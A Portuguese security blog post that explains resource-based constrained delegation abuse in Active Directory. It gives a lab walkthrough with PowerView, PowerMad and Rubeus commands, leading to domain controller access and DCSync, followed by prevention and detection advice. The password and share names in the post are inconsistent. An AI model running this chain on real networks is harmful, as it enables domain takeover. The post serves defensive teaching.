Abuso da Delegação Restrita Baseada em Recurso

A delegação é confusa e complicada para a maioria dos administradores de TI. Active Directory oferece delegação irrestrita, delegação restrita e delegação restrita baseada em recursos (RBCD).

Este post do blog analisa por que a delegação restrita baseada em recursos é mais segura do que seus predecessores — e como ainda pode ser abusada e utilizada como um meio de movimento lateral e privilege escalation. Especificamente, vamos percorrer um cenário no qual um adversário abusa da delegação restrita baseada em recursos e algumas permissões mal configuradas do Active Directory para criar contas de computador no Active Directory.

No final, fornecemos o código para as etapas do ataque e um FAQ que fornece mais informações sobre os três tipos de Kerberos delegation.

Noções básicas de RBCD

A partir do Windows Server 2012, a delegação restrita baseada em recurso pode ser configurada no próprio recurso ou na conta do computador. Isso é diferente dos outros tipos de delegação, que são configurados nas contas que acessam o recurso. A delegação baseada em recurso é controlada pelo atributo msDS-AllowedToActOnBehalfOfOtherIdentity; ele armazena um descritor de segurança para o objeto que pode acessar o recurso.

Por que esse modelo de delegação é melhor que seus predecessores? Microsoft coloca desta forma: “Ao suportar delegação restrita entre domínios, os serviços podem ser configurados para usar delegação restrita para autenticar em servidores de outros domínios em vez de usar delegação irrestrita. Isso fornece suporte de autenticação entre soluções de serviço de domínio usando uma infraestrutura Kerberos existente sem a necessidade de confiar em serviços de front-end para delegar a qualquer serviço.”

Visão geral de um ataque

Para realizar um ataque de delegação restrita baseado em recurso, um adversário deve:

• Preencha o atributo msDS-AllowedToActOnBehalfOfOtherIdentity com uma conta de computador sobre a qual eles têm controle.
• Conheça um SPN definido no objeto ao qual desejam ter acesso

Por padrão, como todos os usuários podem criar 10 contas de computador (MachineAccountQuota), essas tarefas são fáceis de realizar a partir de uma conta não privilegiada. O único privilégio que um atacante precisa é a capacidade de escrever o atributo no computador alvo devido a algumas permissões mal configuradas do Active Directory.

Para realizar isso e mostrar uma prova de conceito rápida, usaremos as seguintes ferramentas com o seguinte cenário:

1. Comprometemos uma conta sem privilégios em um host Windows 10 que tem acesso para escrever o atributo msDS-AllowedToActOnBehalfOfOtherIdentity em um controlador de domínio devido a permissões mal configuradas do Active Directory.
2. Vamos criar uma nova conta de computador usando PowerMad (permitido devido ao valor padrão de MachineAccountQuota).
3. Definimos o atributo msDS-AllowedToActOnBehalfOfOtherIdentity para conter um descritor de segurança com a conta de computador que criamos.
4. Nós utilizamos o Rubeus para abusar da delegação restrita baseada em recursos.

Passo 1. Verifique o acesso da conta comprometida.

Para começar, vamos dar uma olhada na conta à qual nós, enquanto atacantes, conseguimos acesso. SBPMLABnonadmin é apenas uma conta de usuário de domínio comum que possui privilégios de administrador local em sua máquina. A captura de tela abaixo mostra que não podemos acessar o compartilhamento de administração C$ do SBPMLAB-DC2 com nossos privilégios atuais:

Usando ferramentas que enumeram permissões e objetos no Active Directory, somos capazes de descobrir que temos algumas permissões em um controlador de domínio, o qual será nosso alvo. Os scripts PowerShell abaixo identificarão em qualquer lugar onde um SID de usuário específico tenha Controle Total, Escrita, Modificar Permissões ou Escrever Propriedade: msDS-AllowedToActOnBehalfOfOtherIdentity em uma máquina alvo

Passo 2. Crie uma nova conta de computador.

Agora que sabemos que temos a capacidade de modificar o atributo que precisamos preencher, precisamos de uma conta de computador que controlamos para realizar a atualização. Como o valor de MachineAccountQuota foi deixado no padrão, somos capazes de usar PowerMad para criar uma conta de computador RBCDMachine com a senha ThisIsATest:

Etapa 3. Permita que a conta aja em nome da outra identidade.

Agora precisamos definir o atributo msDS-AllowedToActOnBehalfOfOtherIdentity para conter o descritor de segurança da conta de computador que criamos e preencher o atributo msDS-AllowedToActOnBehalfOfOtherIdentity do DC sobre o qual temos permissões:

Agora só precisamos obter o hash da senha ‘ThisIsATest’ para a nossa conta RBCDMachine:

Hash de Senha para a Conta RBCDMachine

Etapa 4. Utilize Rubeus para abusar do RBCD.

Agora temos tudo o que precisamos para usar o Rubeus para abusar da delegação restrita baseada em recursos. Para recapitular o que reunimos até agora:

• Um usuário que queremos personificar
• A conta RBCDMachine$ que criamos, que é preenchida no atributo msDS-AllowedToActOnBehalfOfOtherIdentity do controlador de domínio alvo
• O hash para a senha da conta RBCDMachine$ (0DE1580972A99A216CED8B058300033F)
• O servicePrincipalName ao qual queremos obter acesso para o controlador de domínio alvo

Com essas informações, podemos executar o seguinte comando no Rubeus para importar o ticket para a memória:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Podemos confirmar que o ticket de serviço foi importado com sucesso usando klist. Agora podemos navegar com sucesso até o compartilhamento de admin SBPMLAB-DCC$ no controlador de domínio e listar seu conteúdo:

Próximos passos

Após obter acesso ao compartilhamento de admin no controlador de domínio alvo, podemos tomar medidas para garantir persistência ou até mesmo elevar nossos privilégios ainda mais, como comprometer o arquivo NTDS.dit.

Outra opção é solicitar acesso ao serviço LDAP alterando o parâmetro msdsspn no comando Rubeus e aproveitar isso para realizar um DCSync attack e assumir o controle da the krbtgt account.

Aqui está o ticket armazenado em cache para o serviço LDAP:

E aqui está como podemos executar DCSync após obter acesso ao LDAP:

Detecção e Prevenção de Ataques

Vamos recapitular rapidamente os passos que tomamos para revelar algumas estratégias de prevenção desse tipo de ataque:

1. Assumimos uma conta que tinha a capacidade de modificar o atributo ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ de um controlador de domínio.
2. Criamos uma conta de computador, aproveitando a configuração padrão de MachineAccountQuota.
3. Preenchemos o atributo com a conta de máquina que criamos.
4. Usamos Rubeus para solicitar um ticket para o serviço LDAP no DC.
5. Conseguimos executar o DCSync para assumir o controle da conta krbtgt.

Prevenção

Como você pode prevenir que algumas dessas coisas ocorram no seu ambiente?

• Compreenda e bloqueie as permissões do Active Directory. Saber quem tem acesso ao Active Directory é vital para a sua segurança. Ser capaz de modificar o atributo de um objeto de computador é apenas uma das formas que um atacante pode usar para explorar seu ambiente. Ter a capacidade de modificar a associação de grupos ou redefinir senhas de outros usuários dentro de um ambiente pode ser igualmente prejudicial e muito mais fácil de explorar com ferramentas como BloodHound. Confira a Netwrix Active Directory Security Solution para aprender como ela pode ajudá-lo a garantir que seu AD esteja configurado de forma segura, identificar direitos de acesso excessivos e administradores ocultos, e detectar e prevenir ataques sofisticados em tempo real.
• Certifique-se de que contas sensíveis que não devem ser delegadas estejam marcadas como tal. Colocar um usuário no grupo Protected Users ou marcar a opção ‘Account is sensitive and cannot be delegated’ interromperá um ataque de delegação com recursos limitados em seu caminho.

Detecção

Para detectar ataques de delegação com recursos limitados, você pode fazer o seguinte:

• Monitore a criação de contas de computador por usuários não administradores. O atributo ‘mS-DS-CreatorSID’ é preenchido quando um usuário não administrador cria uma conta de computador, então você pode usar este comando para identificar essas contas:

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

Code

• Identifique permissões em um computador alvo ($target) para a conta que possuímos ($myaccount):

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• Verifique a configuração MachineAccountQuota para o domínio e crie uma conta de computador usando PowerMad:

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• Atualize o atributo msDS-AllowedToActOnBehalfOfOtherIdentity com o novo computador que criamos:

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• Obtenha o hash da senha que definimos para nossa conta de computador:

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Use Rubeus para executar o abuso RBCD:

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

O que é delegação Kerberos?

A utilização prática da Kerberos delegation é permitir que uma aplicação ou serviço acesse recursos hospedados em um servidor diferente em nome de outro usuário.

Como funciona a delegação irrestrita?

Delegação Kerberos sem restrições dá a uma aplicação ou serviço a capacidade de se passar por um usuário alvo para qualquer outro serviço escolhido.

Como funciona a delegação restrita?

A delegação restrita permite configurar a quais serviços uma conta pode ser delegada. S4U2proxy é a extensão de Delegação Restrita do Kerberos.

Como funciona a delegação restrita baseada em recursos?

Em vez de especificar qual objeto pode delegar a qual serviço, o recurso que hospeda o serviço especifica quais objetos podem delegar a ele.